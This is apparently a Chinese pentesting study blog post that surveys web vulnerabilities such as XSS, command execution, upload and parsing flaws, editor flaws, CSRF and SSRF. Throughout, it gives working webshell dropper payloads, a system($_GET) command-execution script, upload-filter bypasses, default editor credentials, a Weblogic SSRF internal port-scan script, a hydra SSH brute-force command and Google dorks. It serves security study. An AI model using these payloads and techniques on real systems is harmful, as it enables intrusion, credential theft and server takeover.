Web常见漏洞

时间:2024-02-29 15:54:12

1.sql注入

 

 

2.xss(跨站脚本)

XSS概念:通常指黑客通过HTML注入纂改了网页,插入恶意脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

XSS有三种:

反射型xss:只是简单地把用户输入的数据反射给浏览器,简单来说,黑客往往需要用户诱使用户点击一个恶意链接,才能攻击成功。

存储型XSS:将用户输入的数据存储在服务器端。

DOM XSS:通过修改页面的DOM节点形成的XSS。

反射型xss我之前写过关于它的文章了:https://www.cnblogs.com/xiaoqiyue/p/8645108.html

存储型xss攻击流程:

一个论坛提供了留言板功能,恶意用户在留言板内插入恶意的html或者js代码,并且提交,那么这段恶意代码就会被保存进入数据库中,然后其他用户在浏览这个论坛时,浏览器会解释执行这段恶意代码,也就说当其他用户浏览的时候,这段代码就会窃取用户的cookie(当然存储型xss还可以将网站重定向到一个钓鱼网站,或者重新更改页面内容,欺骗用户输入用户名,密码,然后提交到恶意用户的服务器上)

3.文件包含

4.命令执行

原理:由于开发人员在编写源代码时,没有对源代码中可执行的特殊函数入口做过滤,导致客户端可以提交一些cmd命令,并交由服务器程序执行。导致攻击者可以通过浏览器或者其他客户端软件提交一些cmd命令(或者bash命令)至服务器程序,服务器程序通过system、eval、exec等函数直接或者间接地调用cmd.exe执行攻击者提交的命令。

防御:对特殊函数坐过滤,对用户输入的命令做检查

常用攻击方法:利用各种调用系统命令的web应用,通过命令拼接、绕过黑名单等方式实现在服务端实现想要实现的系统命令。

示例:其他示例点此链接:

用一个tomcat远程代码执行漏洞作为示例:

将get改成PUT

 

执行我们的命令whoami,可以看到直接显示出来了

查看文件

 

 

 

 

 

 

 

5.信息泄露

6.文件上传,解析漏洞

原理:文件上传漏洞是指在需要上传文件的地方没有对上传的文件的格式进行过滤限制,从而导致恶意用户上传恶意文件,getshell。

防御:设置白名单,对用户上传的文件进行过滤限制

常用攻击方法传文件常用绕过姿势示例:https://www.cnblogs.com/xiaoqiyue/p/9990600.html

1.结合服务器解析漏洞上传恶意文件(最后总结了一下常见服务器解析漏洞,不全,欢迎大家随时来补充)

2.利用图片马绕过对文件内容检测的防御方法:检测文件内容的时候,是根据文件开头是否有GIF89A这些,以此来判断是否是图片

3.绕过前端验证

4.修改Content-Type绕过上传恶意文件

5.空字节代码绕过漏洞,也叫神奇的00截断,此处的00指的是16进制的00

文件名00截断实现过程:

1)第一种方法:上传文件名为1.php.jpg格式的图马文件,抓包后,在php后面加上一个空格字符,然后到hex中将php后面的空格字符对应的20改为00后放行即可。

2)第二种方法:上传文件名为1.php%00.jpg格式的图马文件,抓包后,将%00进行url解码后放行即可。

请求包中包含上传目录的,可以尝试对上传目录进行00截断,原理都一样,话不多说,直接上实现过程,,,,

实现过程:上传路径/upload/,直接改成/upload/%00,再将%00进行url解码后放行即可

6.一句话各种绕过的一个网址:https://blog.csdn.net/jaivy/article/details/77611738

下面是一个简单的文件上传webshell的实例:

可以看到该页面让上传一个文件,我们就上传一句话,然后抓包看看结果是什么

可以看到它不让我们上传这个文件,但是并没有提示我们应该上传什么类型的文件,猜测应该是黑名单过滤,我们把文件后缀名改成php3试一下

 

成功上传,接下来就可以去网页上看看我们上传的文件有没有被解析了

 

欧克,成功,最后就只需要连接菜刀就可以了

 解析漏洞:

一、IIS 5.x/6.0解析漏洞利用方法有两种

1.目录解析

/xx.asp/xx.jpg

漏洞原理:在网站下建立名字为 xx.asp的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。(php的也是一样)

漏洞利用:

 例如创建目录 images.php,那么如果把这个写有一句话木马的1.jpg文件上传进images.php这个目录下面,那么http://127.0.0.1/images.php/1.jpg 这个就是一个后门地址,可以直接用菜刀去连接

2.文件解析

xx.asp;.jpg (分号截断)

漏洞原理:在IIS6.0下的服务器默认不解析“;”后面的内容,也就是说xx.asp;.jpg会被服务器看成是xx.asp,解析成了asp文件

漏洞利用:上传一个写有一句话的1.asp;.jpg木马文件就可以直接用菜刀连接了(或者直接上传一个大马也可以直接访问了)

IIS6.0 默认的可执行文件除了asp还包含这三种

/xx.asa

/xx.cer

/xx.cdx

二、IIS 7.x/ Nginx <8.03解析漏洞

Nginx漏洞原理:
Nginx默认是以CGI的方式支持PHP解析的(即默认Fast-CGI为开启状态),普遍的做法是:上传一个名字为1.jpg,内容为:

<?PHP fputs(fopen(\'shell.php\',\'w\'),\'<?php eval($_POST[cmd])?>\');?>

的文件(其实就是利用了fputs这个函数),然后访问1.jpg/.php,在这个目录下就会生成一句话木马 shell.php

·IIS7.5解析漏洞

IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。

 三、Nginx <8.03 空字节代码执行漏洞

漏洞原理:Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码

影响版本:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37

四、利用apache解析漏洞绕过服务器端扩展名检测:

漏洞原理:Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断. 这种漏洞存在于使用module模式与php结合的所有版本的Apache。

利用方法:将木马命名为 【1.php.adc】,在连接菜刀时,应该是http://.../1.php

五,IIS7.0,7.5和Nginx<8.03畸形解析漏洞(写webshell漏洞)

原理:在上传文件所在目录下创建一个一句话木马文件

实现过程:新建一个1.txt文件,内容为:

<?php fputs(fopen(\'shell.php\',\'w\'),\'<?php @eval($_POST[test])?>\')?>

将文件保存成1.jpg格式,上传到服务器,假设上传路径为/upload,

上传成功后,直接访问/upload/1.jpg,然后我们会发现/upload目录下创建了一个一句话木马文件shell.php

 

 

7.编辑器漏洞

 网上常用的编辑器有ewebeditor,FCK,DotNetTextBox等,这里只介绍几个常用的。

Ewebeditor:基于浏览器的,所见即所得的在线HTML编辑器

默认后台:ewebeditor/admin_login.asp

默认数据库:ewebeditor/db/ewebeditor.mdb;

      ewebeditor/db/ewebeditor.asa

      ewebeditor/db/ewebeditor.asp

      ewebeditor/db/#ewebeditor.mdb

      ewebeditor/db/#ewebeditor.asa

      ewebeditor/db/!@#ewebeditor.asp

      ewebeditor/db/ewebeditor1033.mdb

默认账号密码:admin admin/admin888/admin999/admin1/admin000

找到后台后,我们可以先用默认账号密码尝试登陆,如果没有进去,那么我们可以去下载数据库文件,然后去查找管理员的账号密码

1)getshell:

登陆后台,点开样式管理,随意找一个样式打开,在图片类型中添加aaspsp(因为编辑器会过滤asp后缀),接下来就是我们熟悉的上传一句话木马了。

2)遍历目录漏洞:2.8.0存在该漏洞

上传文件管理处,有一个样式目录:

http://xxx.xxx.com/ewebeditor/admin_uploadfile.asp?id=14&dir=.. /..  在id=14后添加绿色部分

然后你就可以看到整个的网站文件了

3)利用webEbeditor session欺骗进入后台

漏洞文件:Aadmin_Private.asp

新建一个amxking.asp文件,内容如下:

<%Session("eWebEditor_User") = "11111111"%>
 

访问该文件,在去访问后台任意文件,就都可以看到了。

#  4)2.7.0注入漏洞

http://www.0dayhack.com/ewebeditor/ewebeditor.asp?id=article_content&style=full_v200
默认表名:eWebEditor_System默认列名:sys_UserName、sys_UserPass,然后利用穿山甲进行猜解,对此进行注入取得账号密码。

 

FCKeditor编辑器:

这个编辑器的漏洞下面这个博客讲的很细致,我就不再多做废话了:

https://blog.csdn.net/lizhengnanhua/article/details/38451737

 

#8.cms漏洞

 

9.csrf漏洞:

漏洞原理:csrf全名为跨站请求伪造,是一种对网站的恶意利用,虽然听起来和xss很像,但是它们俩还是有很大的区别的。csrf是通过伪造来自受信任用户的请求来利用受信任的网站。

比如:

一个有csrf漏洞的A网站,网站B是攻击者构造的一个恶意网站,当用户没有退出A网站,或者用户登陆A网站的cookie没有过期,只要在同一个浏览器中打开这个网站B,攻击者就可以利用用户的身份进行用户才能进行的操作了。

具体示例:https://www.jianshu.com/p/4eed0faaf0ca

漏洞利用:抓包后,去掉Referer字段,如果go一下,依然有效,那么基本上可以确定该网站有csrf漏洞了

 

 

 

 正常跳转

 

在这里我们把密码改为qwer

 

 

 

 

 

 

 

 

成功进入

  10. ssrf漏洞

概念:服务端在获取攻击者输入的url时,如果这个过程中,服务端并没有对这个url做任何的限制和过滤,那么就很有可能存在ssrf漏洞。

漏洞利用:SSRF攻击的目标一般是外网无法访问的内部系统。攻击者可以通过构造url对外网,服务器所在内网,本地进行端口扫描;攻击运行在内网或本地的应用程序;对内网web应用指纹识别,通过访问默认文件实现;攻击内外网的web应用;利用file协议读取本地文件。

哪里最可能存在ssrf:

1)通过url分享图片,文章等;

2)转码服务;

3)在线翻译功能;

4)图片通过url加载与下载;

5)图片收藏功能;

6)url关键字:

share  

wap  

url  

link  

src  

source  

target  

u  

3g  

display  

sourceURL  

imageURL  

domain

SSRF绕过限制:

 

1)使用@绕过:http://xx.xxx.com@127.0.0.1 <=>http://127.0.0.1

2)ip地址进行进制转换

3)添加端口号:http://127.0.0.1:8080

4)使用短地址绕过,将原来的网址转换成短地址:http://127.0.0.1 <=>http://dwz.cn/11SMa

5)使用xip.io绕过:http://xx.xxx.com.127.0.0.1.xip.io该请求会解析到http://127.0.0.1

 

Weblogic SSRF漏洞示例:

 

修改operator参数,探测内网存在的端口

由下面的图可以知道,当存在某个端口的时候会显示which did not have a valid SOAP,所以接下来我们可以直接写个脚本,来探测内网存在的端口,当然也可以直接用常用的端口一个一个试

 

 1 #-*-coding:utf-8-*-
 2 import requests
 3 
 4 x = [22,443,3389,6379]
 5 for i in x:
 6     url = "http://192.168.80.151:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://172.20.0.2:{port}&rdoSearch=name&txtSearchname=&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(port=i)
 7     r = requests.get(url)
 8     if "Tried all" in r.content:
 9         continue
10     else:
11         print "开放端口:\n" + str(i)
12         exit(0)

运行后:

 因此,我们可以知道,当请求的端口存在时,会返回which did not have a vaild SOAP,根据这个我们可以判断有哪些端口是存在的。再结合这些端口进行进一步的渗透测试。

 

 

 

文件包含漏洞:

代码注入的一种,原理是:注入一段用户能控制的脚本或代码,并让服务器端执行。代码注入的典型代表就是文件包含file inclusion,文件包含可能出现在jsp,php,asp等语言中,常见的导致文件包含函数如下:

PHP包含函数,无论传过去的是什么形式的文件,这些文件最后都会被转化成PHP文件,然后执行

PHP:include(),include_once(),require(),require_once(),fopen(),readfile()

Jsp:ava.io.file(),java.io.filereader()

Asp:include file,include virtual

包含日志:通过构造语句让服务器报错并将一句话随报错信息写入日志

找到日志文件,再用菜刀链接

 

PHP命令执行函数:

1. system:执行一个外部的应用程序并显示输出的结果

2. exec:执行一个外部的应用程序

3. passthru:执行一个UNIX系统命令并显示原始的输出

4. shell_exec:执行shell命令并返回输出的结果的字符串

5. “’’”运算符:与shell_exec函数的功能相同

比如创建一个1.php,内容如下:

<?php

echo “<pre>”;

$cmd=$_GET[‘c’];

system($cmd);

echo “<pre>”;

?>

然后在url中执行:url/1.php?c=ipconfig

C=这个地方填写你要操作的命令

其余的函数都是如此。

 

判断数据库是否为Access:

判断数据库类型:and exsits (select * from msysobjects)>0 :如果没有报错数据库为access

And exsits (select * from sysobjects)>0:如果没有报错则为SQL sever数据库

 

hydra(暴力破解)的用法:

hydra <参数> <IP地址> <服务名>

hydra的参数是区分大小写的.

hydra支持的服务有:telnet ftp ssh mysql mssql vnc pcanywhere RDP(3389)等.

hydra的一些参数:

-R 继续从上一次的进度开始爆破

-s <port> 指定端口

-l <username> 指定登录的用户名

-L <username-list> 指定用户名字典

-p <password> 指定密码

-t <number> 设置线程数

-P <passwd-list> 指定密码字典

-v 显示详细过程

    示例:

      hydra -l root -P /tmp/passwd.txt -t 4 -v 192.168.57.101 ssh #爆破ssh登录密码

 

信息收集

dns收集: 通过域名解析IP,也可以通过工具网站查询whois :http://tool.chinaz.com

dns查询内容:主机记录;别名【CNAME】;主机信息【HZNFO】;邮箱【MB】;邮件交换器【MX】;指针记录【PTR】;服务记录【SRV】

        工具:dnswalk,dnsenum(kali);dnsmap(kali),也可以在kaili中直接whois

敏感目录收集内容:mysql管理接口;后台目录;上传目录;phpinfo;robots.txt;安装包;爬行;安装页面

        工具:wwwscan;御剑;webrobot;skipfish(kali)

 

 

密码破解:

判断网站cms(即源码)类型:方法-》脚本语言,操作系统,搭建平台,cms厂商

网站暴库漏洞(查找管理员密码账号):inurl:/inc/conn.asp

inurl:/inc+conn.asp to parent directory indext:

                  inurl:/inc/conn.asp

                  inurl:/inc+conn.asp

                  to parent directory

  找到数据库文件(后缀名位mdb),下载到本地,利用工具打开,可以在里面查找管理员账号以及密码(有的数据库文件的后缀名可能是其他的,如asp,下载到本地之后将其改为mdb即可)

                工具:辅臣数据库浏览器,破障Access数据库查看器

网站后台查找:常用的目录有:

admin
manage 
manage.asp
admin.asp 
admin/admin.asp
admin/admin_login.asp 
admin/login.asp 
login.asp
admin_login.asp
manage/login.asp

有时也可以从robots.txt中查看,图片属性也可以查看是否存在管理员后台目录

或者用Google hack:inurl:xxx.com site:xxx.com site:xx.com 后台管理 site : xx.com 后台登录 site : xx.com 管理员登录